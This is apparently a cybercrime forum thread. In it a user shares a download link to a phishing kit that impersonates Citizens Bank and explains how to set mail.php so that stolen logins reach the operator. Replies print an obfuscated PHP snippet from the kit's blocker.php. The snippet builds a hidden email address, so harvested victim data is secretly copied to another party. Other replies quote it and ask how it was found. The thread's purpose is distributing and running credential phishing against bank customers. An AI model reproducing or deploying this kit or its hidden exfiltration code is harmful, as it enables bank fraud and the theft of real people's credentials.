фишинг citizen Bank scama page

[ski]

sharing citizen Bank full Scama page.

After extraction, go to "citizen Bank" folder > darkx > mail.php > edit with your own mail.
Use 7zip

https://anonfiles.com/xd9ekep3z3/citizen_bank_rar

 

[PITI]

 

[ski]

Посмотреть вложение 56909

It's not virus. It's scam page that's why it showing. You can test it on vm / RDP. Code by code. This scam page isn't mine btw

 

[shadowplatinum1]

It's not a virus. It's scam page that's why it's showing. You can test it on vm / RDP. code by code. This scam page isn't mine btw

there is backdoor on blocker.php
$mm = array('s','e','s','u'); $ee = $mm[2] . $mm[1] . $mm[0] . $mm[3]; $ff = array('y','r','it','s','a',); $ee .= $ff[1] . $ff[2] . $ff[0] . $ff[4] . $ff[3]; $gg = array('n','d','x'); $tt = $ee; $yrp='co';
$tt .= '@'; $tt .= $ff[0] . $ff[4] . $gg[0] . $gg[1] . $mm[1] . $gg[2] . '.bot';
$form = str_replace('bot',com, $tt);

when combined it forms this email address sesurityas@yandex.com

and yes i have seen this scampage many many times in public so i dont think is his

 

[xotnet]

в общем он гуды на лево будет слать?))

 

[ski]

there is backdoor on blocker.php
$mm = array('s','e','s','u'); $ee = $mm[2] . $mm[1] . $mm[0] . $mm[3]; $ff = array('y','r','it','s','a',); $ee .= $ff[1] . $ff[2] . $ff[0] . $ff[4] . $ff[3]; $gg = array('n','d','x'); $tt = $ee; $yrp='co';
$tt .= '@'; $tt .= $ff[0] . $ff[4] . $gg[0] . $gg[1] . $mm[1] . $gg[2] . '.bot';
$form = str_replace('bot',com, $tt);

when combined it forms this email address sesurityas@yandex.com

and yes i have seen this scampage many many times in public so i dont think is his

thanks for figuring this. I checked but failed to find this. Yes public pages have backdoors , it's big problem to figure them out.

 

[Marlimar]

there is backdoor on blocker.php
$mm = array('s','e','s','u'); $ee = $mm[2] . $mm[1] . $mm[0] . $mm[3]; $ff = array('y','r','it','s','a',); $ee .= $ff[1] . $ff[2] . $ff[0] . $ff[4] . $ff[3]; $gg = array('n','d','x'); $tt = $ee; $yrp='co';
$tt .= '@'; $tt .= $ff[0] . $ff[4] . $gg[0] . $gg[1] . $mm[1] . $gg[2] . '.bot';
$form = str_replace('bot',com, $tt);

when combined it forms this email address sesurityas@yandex.com

and yes i have seen this scampage many many times in public so i dont think is his

How did you do this?